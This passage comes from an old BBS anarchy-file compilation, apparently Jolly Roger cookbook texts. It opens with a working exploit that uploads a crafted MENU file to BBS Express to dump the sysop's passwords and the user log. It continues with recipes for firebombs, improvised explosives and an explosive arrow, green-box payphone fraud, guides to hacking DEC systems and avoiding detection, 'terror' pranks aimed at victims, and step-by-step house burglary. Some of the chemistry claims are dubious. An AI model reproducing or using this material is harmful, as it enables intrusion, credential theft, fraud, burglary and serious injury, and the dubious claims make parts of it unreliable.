  3849. Why am I telling everyone this when I run BBS Express myself?
  3850. Well there is one way to stop this from happening and I want other Sysops
  3851. to be aware of it and not have it happen to them.
  3852. Breaking in is all based on the MENU function of BBS Express. Express
  3853. will let you create a menu to display different text files by putting the
  3854. word MENU at the top of any text file and stating what files are to be
  3855. displayed. But due to a major screw up by Mr. Ledbetter you can use this
  3856. MENU option to display the USERLOG and the Sysop's Passwords or anything
  3857. else you like. I will show you how to get the Sysop's pass and therefore
  3858. log on as the Sysop. BBs Express Sysop's have 2 passwords. One like
  3859. everyone else gets in the form of X1XXX, and a Secondary password
  3860. to make it harder to hack out the Sysops pass.
  3861. The Secondary pass is found in a file called SYSDATA.DAT.
  3862. This file must be on drive 1 and is therefore easy to get. All you have to
  3863. do is upload this simple Text file:
  3864.  
  3865. MENU
  3866. 1
  3867. D1:SYSDATA.DAT
  3868.  
  3869. Ripoff time!
  3870.  
  3871. after you upload this file you d/l it non-Xmodem. Stupid Express thinks
  3872. it is displaying a menu and you will see this:
  3873.  
  3874. Ripoff time!
  3875.  
  3876. Selection [0]:
  3877.  
  3878. Just hit 1 and Express will display the SYSDATA.DAT file.OPPASS is where
  3879. the Sysop's Secondary pass will be. D1:USERLOG.DAT is where you will find
  3880. the name and Drive number of the USERLOG.DAT file. The Sysop might have
  3881. renamed this file or put it in a Subdirectory or even on a different
  3882. drive. I Will Assume he left it as D1:USERLOG.DAT. The other parts of this
  3883. file tell you where the .HLP screens are and where the LOG is saved and
  3884. all the Download path names.
  3885.  
  3886. Now to get the Sysop's primary pass you upload a text file like this:
  3887.  
  3888. MENU
  3889. 1
  3890. D1:USERLOG.DAT
  3891.  
  3892. Breaking into Bedwetter's BBS
  3893.  
  3894. Again you then d/l this file non-Xmodem and you will see:
  3895.  
  3896. Breaking into Bedwetter's BBS
  3897.  
  3898. Selection [0]:
  3899.  
  3900. You then hit 1 and the long USERLOG.DAT file comes flying at you.
  3901. The Sysop is the first entry in this very long file so it is easy. You will
  3902. see:
  3903.  
  3904.  
  3905.  
  3906. SYSOP'S NAME        X1XXX
  3907. You should now have his 2 passwords.
  3908.  
  3909. There is only one easy way out of this that I can think of, and that is
  3910. to make all new uploads go to SYSOP level (Level 9) access only. This way
  3911. nobody can pull off what I just explained.
  3912. I feel this is a major Bug on Mr. Ledbetter's part. I just don't know why
  3913. no one had thought of it before. I would like to give credit to
  3914. Redline for the message he left on Modem Hell telling about this problem,
  3915. and also to Unka for his ideas and input about correcting it.
  3916.  
  3917. This has been brought to you from [_The_Piper_] and the S.O.D. BBS
  3918. Network!
  3919. Firebombs                                       by the Jolly Roger
  3920.  
  3921. Most fire bombs are simply gasoline filled bottles with a fuel
  3922. soaked rag in the mouth (the bottle's mouth, not yours). The original
  3923. Molotov cocktail, and still about the best, was a mixture of one part
  3924. gasoline and one part motor oil. The oil helps it to cling to what it
  3925. splatters on.
  3926. Some use one part roofing tar and one part gasoline. Fire bombs
  3927. have been found which were made by pouring melted wax into gasoline.
  3928.  
  3929.                                   -------------Jolly Roger
  3930.  
  3931. Fuse Ignition Bomb                              by The Jolly Roger
  3932.  
  3933. A four strand homemade fuse is used for this. It burns like fury.
  3934. It is held down and concealed by a strip of bent tin cut from a can.
  3935. The exposed end of the fuse is dipped into the flare igniter. To use
  3936. this one, you light the fuse and hold the fire bomb until the fuse has
  3937. burned out of sight under the tin. Then throw it and when it breaks,
  3938. the burning fuse will ignite the contents.
  3939.  
  3940.                                    -------------Jolly Roger
  3941.  
  3942. Generic Bomb                                    by the Jolly Roger
  3943.  
  3944. 1) Aquire a glass container
  3945. 2) Put in a few drops of gasoline
  3946. 3) Cap the top
  3947. 4) Now turn the container around to coat the inner surfaces and then
  3948. evaporates
  3949. 5) Add a few drops of potassium permanganate (<-Get this stuff from a
  3950. snake bite kit)
  3951. 6) The bomb is detonated by throwing aganist a solid object.
  3952. *AFTER THROWING THIS THING RUN LIKE HELL THIS THING PACKS ABOUT 1/2
  3953. STICK OF DYNAMITE*
  3954.  
  3955.                             ---------------Jolly Roger
  3956.  
  3957. Green Box Plans                                 by the Jolly Roger
  3958.  
  3959. Paying the initial rate in order to use a red box (on certain
  3960. fortresses) left a sour taste in many red boxers mouths, thus the
  3961. green box was invented. The green box generates useful tones such as
  3962. COIN COLLECT, COIN RETURN, AND RINGBACK. These are the tones that
  3963. ACTS or the TSPS operator would send to the CO when appropriate.
  3964.  
  3965.  
  3966. Unfortunately, the green box cannot be used at the fortress station but
  3967. must be used by the CALLED party.
  3968.  
  3969. Here are the tones:
  3970. COIN COLLECT     700+1100hz
  3971. COIN RETURN      1100+1700hz
  3972. RINGBACK         700+1700hz
  3973.  
  3974. Before the called party sends any of these tones, an operator realease
  3975. signal should be sent to alert the MF detectors at the CO.
  3976. This can be done by sending 900hz + 1500hz or a single 2600 wink (90 ms.)
  3977. Also do not forget that the initial rate is collected shortly before the
  3978. 3 minute period is up. Incidentally, once the above MF
  3979. tones for collecting and returning coins reach the CO, they are
  3980. converted into an appropriate DC pulse (-130 volts for return and
  3981. +130 for collect). This pulse is then sent down the tip to the
  3982. fortress. This causes the coin relay to either return or collect the coins.
  3983. The alledged "T-network" takes advantage of this information.
  3984. When a pulse for coin collect (+130 VDC) is sent down the line,
  3985. it must be grounded somewhere. This is usually the yellow or black wire.
  3986. Thus, if the wires are exposed, these wires can be cut to prevent
  3987. the pulse from being grounded. When the three minute initial
  3988. period is almost up, make sure that the black and yellow wires are
  3989. severed, then hang up, wait about 15 seconds in case of a second
  3990. pulse, reconnect the wires, pick up the phone, and if all goes well,
  3991. it should be "JACKPOT" time.
  3992.                                ---------Jolly Roger
  3993.  
  3994. Portable Grenade Launcher                       by the Jolly Roger
  3995.  
  3996. If you have a bow, this one is for you. Remove the ferrule from an
  3997. aluminum arrow, and fill the arrow with black powder (I use grade
  3998. FFFF, it burns easy)and then glue a shotshell primer into the hole
  3999. left where the ferrule went. Next, glue a BB on the primer, and you
  4000. are ready to go! Make sure no one is nearby.... Little shreds of
  4001. aluminum go all over the place!!
  4002.                                     ------------Jolly Roger
  4003.  
  4004.  
  4005. Hacking Tutorial                       Courtesy of the Jolly Roger
  4006.  
  4007. What is hacking?
  4008. ----------------
  4009. According to popular belief the term hacker and hacking was founded at mit
  4010. it comes from the root of a hack writer,someone who keeps "hacking" at
  4011. the typewriter until he finishes the story.a computer hacker would be
  4012. hacking at the keyboard or password works.
  4013.  
  4014. What you need:
  4015. --------------
  4016. To hack you need a computer equipped with a modem (a device that lets you
  4017. transmit data over phone lines) which should cost you from $100 to $1200.
  4018.  
  4019. How do you hack?
  4020. ----------------
  4021. Hacking recuires two things:
  4022. 1. The phone number
  4023. 2. Answer to identity elements
  4024.  
  4025.  
  4026. çHow do you find the phone #?
  4027. ----------------------------
  4028. There are three basic ways to find a computers phone number.
  4029. 1. Scanning,
  4030. 2. Directory
  4031. 3. Inside info.
  4032.  
  4033. What is scanning?
  4034. -----------------
  4035. Scanning is the process of having a computer search for a carrier tone.
  4036. For example,the computer would start at (800) 111-1111 and wait for carrier
  4037. if there is none it will go on to 111-1112 etc.if there is a carrier it
  4038. will record it for future use and continue looking for more.
  4039.  
  4040. What is directory assictance?
  4041. -----------------------------
  4042. This way can only be used if you know where your target computer is. For
  4043. this
  4044. example say it is in menlo park, CA and the company name is sri.
  4045.  
  4046. 1. Dial 411 (or 415-555-1212)
  4047. 2. Say "Menlo park"
  4048. 3. Say "Sri"
  4049. 4. Write down number
  4050. 5. Ask if there are any more numbers
  4051. 6. If so write them down.
  4052. 7. Hang up on operator
  4053. 8. Dial all numbers you were given
  4054. 9. Listen fir carrier tone
  4055. 10. If you hear carrier tone write down number, call it on your modem and
  4056. your
  4057.     set to hack!
  4058.                             ---------------Jolly Roger
  4059.  
  4060. The Basics of Hacking II               Courtesy of the Jolly Roger
  4061.  
  4062. Basics to know before doing anything, essential to your continuing
  4063. career as one of the elite in the country...  This article, "the
  4064. introduction to the world of hacking" is meant to help you by telling you
  4065. how not to get caught, what not to do on a computer system, what type of
  4066. equipment should I know about now, and just a little on the history, past
  4067. present future, of the hacker.
  4068.  
  4069. Welcome to the world of hacking! We, the people who live outside of the
  4070. normal rules, and have been scorned and even arrested by those from the
  4071. 'civilized world', are becomming scarcer every day.  This is due to the
  4072. greater fear of what a good hacker (skill wise, no moral judgements
  4073. here)|can do nowadays, thus causing anti- hacker sentiment in the masses.
  4074. Also, few hackers seem to actually know about the computer systems they
  4075. hack, or what equipment they will run into on the front end, or what they
  4076. could do wrong on a system to alert the 'higher' authorities who monitor
  4077. the system. This article is intended to tell you about some things not to
  4078. do, even before you get on the system.  I will tell you about the new wave
  4079. of front end security devices that are beginning to be used on computers.
  4080. I will attempt to instill in you a second identity, to be brought up at
  4081. time of great need, to pull you out of trouble. And, by the way, I take no,
  4082. repeat,
  4083. no, responcibility for what we say in this and the forthcoming articles.
  4084.  
  4085.  
  4086. Enough of the bullshit, on to the fun: after logging on your favorite bbs,
  4087. you see on the high access board a phone number!  It says it's a great
  4088. system to "fuck around with!" This may be true, but how many other people
  4089. are going to call the same number?  So:  try to avoid calling a number
  4090. given to the public. This is because there are at least every other
  4091. user calling, and how many other boards will that number spread to?
  4092. If you call a number far, far away, and you plan on going thru an
  4093. extender or a re-seller, don't keep calling the same access number
  4094. (I.E. As you would if you had a hacker running), this looks very suspicious
  4095. and can make life miserable when the phone bill comes in the mail.
  4096. Most cities have a variety of access numbers and services,
  4097. so use as many as you can. Never trust a change in the system...
  4098. The 414's, the assholes, were caught for this reason: when one of them
  4099. connected to the system, there was nothing good there.  The next time,
  4100. there was a trek game stuck right in their way!  They proceded to play said
  4101. game for two, say two and a half hours, while telenet was tracing them!
  4102. Nice job, don't you think?  If anything looks suspicious, drop the line
  4103. immediately!!  As in, yesterday!! The point we're trying to get accross is:
  4104. if you use a little common sence, you won't get busted.  Let the little
  4105. kids who aren't smart enough to recognize a trap get busted, it will take
  4106. the heat off of the real hackers. Now, let's say you get on a computer
  4107. system...  It looks great, checks out, everything seems fine.
  4108. Ok, now is when it gets more dangerous.  You have to know the computer
  4109. system to know what not to do.
  4110. Basically, keep away from any command something, copy a new file into the
  4111. account, or whatever!  Always leave the account in the same status you
  4112. logged in with.  Change *nothing*... If it isn't an account with priv's,
  4113. then don't try any commands that require them! All, yes all, systems are
  4114. going to be keeping log files of what users are doing, and that will
  4115. show up.  It is just like dropping a trouble-card in an ESS system,
  4116. after sending that nice operator a pretty tone.
  4117. Spend no excessive amounts of time on the account in one stretch.
  4118. Keep your calling to the very late night ifpossible, or during
  4119. business hours (believe it or not!).  It so happens
  4120. that there are more users on during business hours, and it is very
  4121. difficult to read a log file with 60 users doing many commnds every minute.
  4122. Try to avoid systems where everyone knows each other, don't try to bluff.
  4123. And above all:  never act like you own the system, or are the best there
  4124. is. They always grab the people who's heads swell... There is some very
  4125. interesting front end equipment around nowadays, but first let's
  4126. define terms... By front end, we mean any device that you must
  4127. pass thru to get at the real computer. There are devices that are made to
  4128. defeat hacker programs, and just plain old multiplexers.
  4129. To defeat hacker programs, there are now devices that pick up the phone
  4130. and just sit there...  This means that your device gets no carrier,
  4131. thus you think there isn't a computer on the other end.  The
  4132. only way around it is to detect when it was picked up.  If it pickes up
  4133. after the same number ring, then you know it is a hacker-defeater.
  4134. These devices take a multi-digit code to let you into the system.
  4135. Some are, in fact, quite sophisticated to the point where it
  4136. will also limit the user name's down, so only one name or set of names
  4137. can be valid logins after they input the code... Other devices input a
  4138. number code, and then they dial back a pre-programmed number for that code.
  4139. These systems are best to leave alone,
  4140. because they know someone is playing with their phone.  You may think "but
  4141. i'll just reprogram the dial-back." Think again, how stupid that is...
  4142. Then they have your number, or a test loop if you were just a little
  4143. smarter. If it's your number, they have your balls (if male...),
  4144.  
  4145.  
  4146. If its a loop, then you are screwed again, since those loops
  4147. are *monitored*. As for multiplexers...  What a plexer is supposed
  4148. to do is this:
  4149. The system can accept multiple users. We have to time share, so we'll let
  4150. the front-end processor do it...  Well, this is what a multiplexer does.
  4151. Usually they will ask for something like "enter class" or "line:".  Usually
  4152. it is programmed for a double digit number, or a four to five letter word.
  4153. There are usually a few sets of numbers it accepts, but those numbers also
  4154. set your 300/1200/2400 baud data type.
  4155. These multiplexers are inconvenient at best, so not to worry. A little
  4156. about the history of hacking: hacking, by my definition, means a great
  4157. knowledge of some special area. Doctors and lawyers
  4158. are hackers of a sort, by this definition.  But most often, it is
  4159. being used in the computer context, and thus we have a definition of
  4160. "anyone who has a great amount of computer or telecommunications
  4161. knowledge."  You are not a hacker because you have a list of codes...
  4162. Hacking, by my definition, has then been around only about 15 years.
  4163. It started, where else but, mit and colleges where they had computer
  4164. science or electrical engineering departments.
  4165. Hackers have created some of the best computer languages, the
  4166. most awesome operating systems, and even gone on to make millions.
  4167. Hacking used to have a good name, when we could honestly say
  4168. "we know what we are doing".  Now it means (in the public eye):
  4169. the 414's, ron austin, the nasa hackers, the arpanet hackers...
  4170. All the people who have been caught,
  4171. have done damage, and are now going to have to face fines and sentences.
  4172. Thus we come past the moralistic crap, and to our purpose:  educate the
  4173. hacker community, return to the days when people actually knew something...
  4174.  
  4175.                                   --------------Jolly Roger
  4176.  
  4177.  
  4178. Hacking DEC's                                 by the Jolly Roger
  4179.  
  4180. In this article you will learn how to log in to dec's, logging out, and all
  4181. the fun stuff to do in-between.  All of this information is based on a
  4182. standard dec system.
  4183. Since there are dec systems 10 and 20, and I favor, the dec 20,
  4184. there will be more info on them in this article.  It just so happens
  4185. that the dec 20 is also the more common of the two, and is used by much
  4186. more interesting people (if you know what I mean...) Ok, the first thing
  4187. you want to do when you are receiving carrier from a dec system is to find
  4188. out the format of login names.  You can do this by looking at who is on the
  4189. system.
  4190. Dec=> `  (the 'exec' level prompt)
  4191. you=> sy
  4192. sy is short for sy(stat) and shows you the system status.
  4193. You should see the format of login names...
  4194. A systat usually comes up in this form:
  4195. job  line  program  user
  4196. job:  the job number (not important unless you want to log them off later)
  4197. line:  what line they are on (used to talk to them...)
  4198. These are both two or three digit numbers.
  4199. Program:  what program are they running under?  If it says 'exec'
  4200. they aren't doing anything at all...
  4201. User:  ahhhahhhh!  This is the user name they are logged in under...
  4202. Copy the format, and hack yourself outa working code... Login format is as
  4203. such:
  4204.  
  4205.  
  4206. dec=> `
  4207. you=> login username password
  4208. username is the username in the format you saw above in the systat.
  4209. After you hit the space after your username, it will stop echoing
  4210. characters back to your screen.  This is the password you are typing in...
  4211. Remember, people  usually use their name, their dog's name, the name of a
  4212. favorite character in a book, or something like this. A few clever
  4213. people have it set to a key cluster (qwerty or asdfg).  Pw's can be from 1
  4214. to 8 characters long, anything after that is ignored. You are finally in...
  4215. It would be nice to have a little help, wouldn't it?  Just type a ? Or the
  4216. word help, and it will give you a whole list of topics...
  4217. Some handy characters for you to know would be the control keys,
  4218. wouldn't it? Backspace on a dec 20 is rub which is 255 on your ascii chart.
  4219. On the dec 10 it is cntrl-h. To abort a long listing or a program,
  4220. cntrl-c works fine.  Use cntrl-o to stop long output to the terminal.
  4221. This is handy when playing a game, but you don't want to cntrl-c out.
  4222. Cntrl-t for the time. Cntrl-u will kill the whole line you are typing at
  4223. the moment.  You may accidently run a program where the only way out is
  4224. a cntrl-x, so keep that in reserve. Cntrl-s to stop listing, cntrl-q to
  4225. continue on both systems. Is your terminal having trouble??
  4226. Like, it pauses for no reason, or it doesn't backspace right?  This is
  4227. because both systems support many terminals, and you haven't told it what
  4228. yours is yet... You are using a vt05
  4229. so you need to tell it you are one.
  4230. Dec=> `
  4231. you=> information terminal
  4232. or...
  4233. You=> info
  4234. this shows you what your terminal is set up as...
  4235. Dec=>all sorts of shit, then the `
  4236. you=> set ter vt05 this sets your terminal
  4237. type to vt05.
  4238. Now let's see what is in the account (here after abbreviated acct.)
  4239. that you have hacked onto... Say
  4240. => dir
  4241. short for directory, it shows
  4242. you what the user of the code has save to the disk.  There should be a
  4243. format
  4244. like this:    xxxxx.Oooxxxxx is the file name, from 1 to 20 characters
  4245. long.  Ooo is the file type, one of: exe, txt, dat, bas, cmd   and a few
  4246. others that are system dependant.
  4247. Exe is a compiled program that can be run (just by typing its name at the
  4248. `).
  4249. Txt is a text file, which you can see by
  4250. typing=>
  4251. type xxxxx.Txt
  4252. Do not try to=>
  4253. type xxxxx.Exe this is very bad for your terminal and will tell you
  4254. absolutly nothing.
  4255. Dat is data they have saved.
  4256. Bas is a basic program, you can have it typed out for you.
  4257. Cmd is a command type file, a little too
  4258. complicated to go into here.
  4259. Try =>
  4260. take xxxxx.Cmd
  4261. By the way, there are other users out there who may have files you can use
  4262. (gee, why else am I here?).
  4263. Type => dir <*.*> (Dec 20)
  4264.  
  4265.  
  4266.      => dir [*,*]   (dec 10)
  4267. * is a wildcard, and will allow you to access the files on other accounts
  4268. if the user has it set for public access. If it isn't set for public
  4269. access,
  4270. then you won't see it. To run that program:
  4271. dec=> `
  4272. you=> username program-name
  4273. username is the directory you saw the
  4274. file listed under, and file name was
  4275. what else but the file name?
  4276. **  You are not alone  **
  4277. remember, you said (at the very start) sy  short for systat,
  4278. and how we said this showed the other users on the system?  Well, you
  4279. can talk to them, or at least send a message to anyone you see listed in a
  4280. systat.  You can do this by:
  4281. dec=> the user list (from your systat)
  4282. you=> talkusername (dec 20)
  4283.       send username (dec 10)
  4284. talk allows you and them immediate transmission of whatever you/they type
  4285. to be sent to the other.  Send only allow you one message to be sent, and
  4286. send, they will send back to you, with talk you can just keep going. By the
  4287. way, you may be noticing with the talk command that what you type is still
  4288. acted upon by the parser (control program).  To avoid the constant error
  4289. messages type either:
  4290. you=>  ;your message
  4291. you=>  rem your message
  4292. the semi-colon tells the parser that what follows is just a comment.  Rem
  4293. is short for 'remark' and ignores you from then on until you type a cntrl-z
  4294. or cntrl-c, at which point it puts you back in the exec mode. To break the
  4295. connection from a talk command type:
  4296. you=>  break priv's:
  4297. if you happen to have privs, you can do all sorts of things.
  4298. First of all, you have to activate those privs.
  4299. You=> enable
  4300. this gives you a $ prompt, and allows you to do this:
  4301. whatever you can do to your own directory you can now do to any
  4302. other directory. To create a new acct. Using your privs, just type
  4303. =>build username
  4304. if username is old, you can edit it, if it is new, you can
  4305. define it to be whatever you wish. Privacy means nothing to a user with
  4306. privs.  By the way, there are various levels of privs:  operator, wheel,
  4307. cia.
  4308. wheel is the most powerful, being that he can log in from anywhere and
  4309. have his powers.
  4310. Operators have their power because they are at a special terminal
  4311. allowing them the privs.  Cia is short for 'confidential information
  4312. access', which allows you a low level amount of privs.
  4313. Not to worry though, since you can read the system log file, which also
  4314. has the passwords to all the other accounts.
  4315. To de-activate your privs, type
  4316. you=> disable
  4317. when you have played your greedy heart out, you can finally leave the
  4318. system with the command=>
  4319. logout
  4320. this logs the job you are using off the system (there may be varients
  4321. of this such as kjob, or killjob).
  4322.  
  4323.                                 ----------------Jolly Roger
  4324.  
  4325.  
  4326. çHarmless Bombs                                  by the Jolly Roger
  4327.  
  4328. To all those who do not wish to inflict bodily damage on their victims
  4329. but only terror.
  4330. These are weapons that should be used from high places.
  4331. 1) The flour bomb.
  4332. Take a wet paper towel and pour a given amount of baking flour in
  4333. the center. Then wrap it up and put on a rubber band to keep it
  4334. together. When thrown it will fly well but when it hits, it covers
  4335. the victim with the flower or causes a big puff of flour which will
  4336. put the victim in terror since as far as they are concerned, some
  4337. strange white powder is all over them. This is a cheap method of
  4338. terror and for only the cost of a roll of paper towels and a bag of
  4339. flour you and your friends can have loads of fun watching people
  4340. flee in panic.
  4341. 2) Smoke bomb projectile.
  4342. All you need is a bunch of those little round smoke bombs and a
  4343. wrist rocket or any sling-shot. Shoot the smoke bombs and watch the
  4344. terror since they think it will blow up!
  4345. 3) Rotten eggs (good ones)
  4346. Take some eggs and get a sharp needle
  4347. and poke a small hole in the top of each one.
  4348. Then let them sit in a warm place for about a week. Then you've got a
  4349. bunch of rotten eggs that will only smell when they hit.
  4350. 4) Glow in the dark terror.
  4351. Take one of those tubes of glow in the dark stuff and pour the
  4352. stuff on whatever you want to throw and when it gets on the victim,
  4353. they think it's some deadly chemical or a radioactive substance so
  4354. they run in total panic. This works especially well with flower
  4355. bombs since a gummy, glowing substance gets all over the victim.
  4356. 5) Fizzling panic.
  4357. Take a baggie of a water-baking soda solution and seal it. (Make
  4358. sure there is no air in it since the solution will form a gas and
  4359. you don't want it to pop on you.) Then put it in a bigger plastic
  4360. bag and fill it with vinegar and seal it. When thrown, the two
  4361. substances will mix and cause a violently bubbling substance to go
  4362. all over the victim.
  4363.                              ---------------Jolly Roger
  4364.  
  4365. Breaking Into Houses                            by the Jolly Roger
  4366.  
  4367. Okay You Need:
  4368. 1.  Tear Gas or Mace
  4369. 2.  A BB/Pelet Gun
  4370. 3.  An Ice Pick
  4371. 4.  Thick Gloves
  4372.  
  4373. What You Do Is:
  4374.  
  4375. 1.  Call the ###-#### of the house, or ring doorbell,  To find out if
  4376.     they're home.
  4377. 2.  If they're not home then...
  4378. 3.  Jump over the fence or walk through gate (whatever).
  4379. 4.  If you see a dog give him the mace or tear gas.
  4380. 5.  Put the gloves on!!!!!!!
  4381. 6.  Shoot the BB gun slightly above the window locks.
  4382. 7.  Push the ice-pick through the hole (made by the BB gun).
  4383. 8.  Enter window.
  4384.  
  4385.  
  4386. 9.  FIRST...Find the LIVING ROOM. (they're neat things there!).
  4387. 10.  Then goto the Bed-room to get a pillow  case.  Put the goodies in
  4388.      the pillow case.
  4389. 11.  Get out <-* FAST! -*>
  4390.  
  4391. Notes:   You should have certian targets worked out (like computers,
  4392. Radios, Ect.,Ect.).    Also <-* NEVER *-> Steal from your own
  4393. neigborhood. If you think they have an alarm...<-* FORGET IT! *->.
  4394.  
  4395.                                   ---------------Jolly Roger
  4396.  
  4397.  
  4398. A Guide to Hypnotism                     Courtesy of the Jolly Roger
  4399.       (Originally an Apple ][ file, forgive the uppercase!)
  4400.  
  4401. +-------------------+
  4402. ! WHAT HYPNOTISM IS !
  4403. +-------------------+
  4404.  
  4405. HYPNOTISM, CONTRARY TO COMMON BELEIF, IS MERELY STATE WHEN YOUR MIND AND
  4406. BODY ARE IN A STATE OF RELAXATION AND YOUR MIND IS OPEN TO POSITIVE, OR
  4407. CLEVERLY WORDED NEGATIVE, INFLUENCES.  IT IS NOT A TRANCE WHERE YOU:
  4408.                   > ARE TOTALLY INFLUENCABLE.
  4409.                   > CANNOT LIE.
  4410.                   > A SLEEP WHICH YOU CANNOT WAKE UP FROM
  4411.                     WITHOUT HELP.
  4412. THIS MAY BRING DOWN YOUR HOPE SOMEWHAT, BUT, HYPNOTISM IS A POWERFUL FOR
  4413. SELF HELP, AND/OR MISCHEIF.
  4414.  
  4415. +-----------------------+
  4416. ! YOUR SUBCONCIOUS MIND !
  4417. +-----------------------+
  4418.  
  4419. BEFORE GOING IN FURTHER, I'D LIKE TO STATE THAT HYPNOTISM NOT ONLY IS
  4420. GREAT IN THE WAY THAT IT RELAXES YOU AND GETS YOU (IN THE LONG RUN) WHAT
  4421. YOU WANT, BUT ALSO THAT IT TAPS A FORCE OF INCREDIBLE POWER, BELEIVE IT OR
  4422. NOT, THIS POWER IS YOUR SUBCONCIOUS MIND.
  4423. THE SUBCONCIOUS MIND ALWAYS KNOWS WHAT IS GOING ON WITH EVERY PART OF YOUR
  4424. BODY,
  4425. EVERY MOMENT OF THE DAY.  IT PROTECTS YOU FROM NEGATIVE INFLUENCES,
  4426. AND RETAINS THE POWER TO SLOW YOUR HEARTBEAT DOWN AND STUFF LIKE THAT.
  4427. THE SUBCONCIOUS MIND HOLDS JUST ABOUT ALL THE INFO YOU WOULD LIKE TO KNOW
  4428. ABOUT YOURSELF, OR, IN THIS CASE, THE PERSON YOU WILL BE HYPNOTISING.
  4429. THERE ARE MANY WAYS TO TALK TO YOUR SUBCONCIOUS AND HAVE IT TALK BACK TO
  4430. YOU. ONE WAY IS THE OUJA BOARD, NO ITS NOT A SPIRIT, MERELY THE
  4431. MINDS OF THOSE WHO ARE USING IT.  ANOTHER, WHICH I WILL DISCUSS HERE,
  4432. IS THE PENDULUM METHOD.  OK, HERE IS HOW IT GOES.
  4433. FIRST, GET A RING OR A WASHER AND TIE IT TO A THREAD A LITTLE LONGER THAN
  4434. HALF OF YOUR FOREARM.  NOW, TAKE A SHEET OF PAPER AND DRAW A BIG CIRCLE IN
  4435. IT.  IN THE BIG CIRCLE YOU MUST NOW DRAW A CROSSHAIR (A BIG +).  NOW, PUT
  4436. THE SHEET OF PAPER ON A TABLE.  NEXT, HOLD THE THREAD WITH THE RING OR
  4437. WASHER ON IT AND PLACE IT (HOLDING THE THREAD SO THAT THE RING IS 1 INCH
  4438. ABOVE THE PAPER SWINGING) IN THE MIDDLE OF THE CROSSHAIR.  NOW, SWING
  4439. THE THREAD SO THE WASHER GOES UP AND DOWN, SAY TO YOURSELF THE WORD "YES"
  4440. NOW, DO IT SIDE TO SIDE AND SAY THE WORD "NO".
  4441. DO IT COUNTER CLOCKWISE AND SAY "I DON'T KNOW".
  4442. AND LASTLY, DO IT CLOCKWISE AND SAY "I DONT WANT TO SAY." NOW, WITH THE
  4443. THREAD BACK IN THE MIDDLE OF THE CROSSHAIR, ASK YOURSELF QUESTIONS AND
  4444.  
  4445.  
  4446. WAIT FOR THE PENDULUM TO SWING IN THE DIRECTION FOR THE ANSWER. (YES, NO,
  4447. I DONT KNOW OR I DONT WANNA SAY...). SOON, TO YOUR AMAZEMENT, IT WILL BE
  4448. ANSWERING QUESTIONS LIKE ANYTHING... LET THE PENDULUM ANSWER, DONT TRY..
  4449. WHEN YOU TRY YOU WILL NEVER GET AN ANSWER.  LET THE ANSWER COME TO YOU.
  4450.  
  4451. +-------------------------+
  4452. ! HOW TO INDUCE HYPNOTISM !
  4453. +-------------------------+
  4454.  
  4455. NOW THAT YOU KNOW HOW TO TALK TO YOUR SUBCONCIOUS MIND, I WILL NOW TELL YOU
  4456. HOW TO GUIDE SOMEONE INTO HYPNOSIS. NOTE THAT I SAID GUIDE, YOU CAN NEVER,
  4457. HYNOTISE SOMEONE, THEY MUST BE WILLING. OK, THE SUBJECT MUST BE LYING OR
  4458. SITTING IN A COMFORTABLE POSITION, RELAXED, AND AT A TIME WHEN THINGS ARENT
  4459. GOING TO BE INTERRUPTED.
  4460. TELL THEM THE FOLLOWING OR SOMETHING CLOSE TO IT, IN A PEACEFUL, MONOTINOUS
  4461. TONE (NOT A COMMANDING TONE OF VOICE)
  4462.  
  4463. NOTE:  LIGHT A CANDLE AND PLACE IT SOMEWHERE WHERE IT CAN BE EASILY SEEN.
  4464.  
  4465. TAKE A DEEP BREATH THROUGH YOUR NOSE AND HOLD IT IN FOR A COUNT OF 8. NOW,
  4466. THROUGH YOUR MOUTH, EXHALE COMPLETELY AND SLOWLY. CONTINUED BREATHING LONG,
  4467. DEEP, BREATHS THROUGH YOUR NOSE AND EXHALING THROUGH YOUR MOUTH.  TENSE UP
  4468. ALL YOUR MUSCLES VERY TIGHT, NOW, COUNTING FROM TEN TO ONE, RELEASE THEM
  4469. SLOWLY, YOU WILL FIND THEM VERY RELAXED.  NOW, LOOK AT THE CANDLE, AS
  4470. YOU LOOK AT IT, WITH EVERY BREATH AND PASSING MOMEMENT, YOU ARE FEELING
  4471. INCREASINGLY MORE AND MORE PEACEFUL AND RELAXED.  THE CANDLES FLAME IS
  4472. PEACEFUL AND BRIGHT.
  4473. AS YOU LOOK AT IT I WILL COUNT FROM 100 DOWN, AS A COUNT, YOUR EYES WILL
  4474. BECOME MORE AND MORE RELAXED, GETTING MORE AND MORE TIRED WITH EACH
  4475. PASSING MOMENT."
  4476. NOW, COUNT DOWN FROM 100, ABOUT EVERY 10 NUMBERS SAY "WHEN I REACH XX YOUR
  4477. EYES (OR YOU WILL FIND YOUR EYES) ARE BECOMING MORE AND MORE TIRED."  TELL
  4478. THEM THEY MAY CLOSE THEIR EYES WHENEVER THEY FEEL LIKE IT.  IF THE PERSONS
  4479. EYES ARE STILL OPEN WHEN YOU GET TO 50 THEN INSTEAD OF SAYING
  4480. "YOUR EYES WILL.."
  4481. SAY "YOUR EYES ARE...".
  4482. WHEN THEIR EYES ARE SHUT SAY THE FOLLOWING. AS YOU LIE (OR SIT) HERE WITH
  4483. YOUR EYES COMFORTABLY CLOSE YOU FIND YOURSELF RELAXING MORE AND
  4484. MORE WITH EACH MOMENT AND BREATH.
  4485. THE RELAXATION FEELS PLEASANT AND BLISSFUL SO, YOU HAPPILY GIVE WAY TO
  4486. THIS WONDERFUL FEELING. IMAGINGE YOURSELF ON A CLOUD, RESTING PEACEFULLY,
  4487. WITH A SLIGHT BREEZE CARESSING YOUR BODY.  A TINGLING SENSASION BEGINS
  4488. TO WORK ITS WAY, WITHIN AND WITHOUT YOUR TOES, IT SLOWLY MOVES UP YOUR
  4489. FEET, MAKING THEM WARM, HEAVY AND RELAXED. THE CLOUD IS SOFT AND SUPPORTS
  4490. YOUR BODY WITH ITS SOFT TEXTURE, THE SCENE IS PEACEFUL AND ABSORBING,
  4491. THE PEACEFULNESS ABSORBS YOU COMPLETELY...
  4492. THE TINGLING GENTLY AND SLOWLY MOVES UP YOUR LEGS, RELAXING THEM.
  4493. MAKING THEM WARM AND HEAVY.  THE RELAXATION FEELS VERY GOOD, IT FEELS SO
  4494. GOOD TO RELAX AND LET GO. AS THE TINGLING CONTINUES ITS JOURNEY UP INTO
  4495. YOUR SOLAR PLEXUS, YOU FEEL YOUR INNER STOMACH BECOME VERY RELAXED.  NOW,
  4496. IT MOVES SLOWLY INTO YOUR CHEST, MAKING YOUR BREATHING RELAXED AS WELL.
  4497. THE FEELING BEGINS TO MOVE UP YOUR ARMS TO YOUR SHOULDERS, MAKING YOUR ARMS
